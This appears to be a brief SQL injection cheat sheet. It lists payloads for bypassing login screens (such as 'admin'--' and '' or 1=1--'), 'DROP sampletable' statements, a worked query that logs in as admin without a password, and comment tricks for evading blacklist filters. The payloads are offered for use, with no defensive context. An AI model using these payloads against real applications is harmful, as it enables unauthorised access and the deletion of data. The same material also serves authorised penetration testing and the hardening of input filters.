Sql Injection Tips and Tricks

Bypassing Login Screens 

SQL Injection  Login tricks

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

' OR ''='

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

-- (SM)

DROP sampletable;--

# (M)

DROP sampletable;#

Line Comments Sample SQL Injection Attacks

Username: admin'--

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Inline Comments Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

/*Comment Here*/ (SM)

DROP/*comment*/sampletable

DR/**/OP/*bypass blacklisting*/sampletable

SELECT/*avoid-spaces*/password/**/FROM/**/Members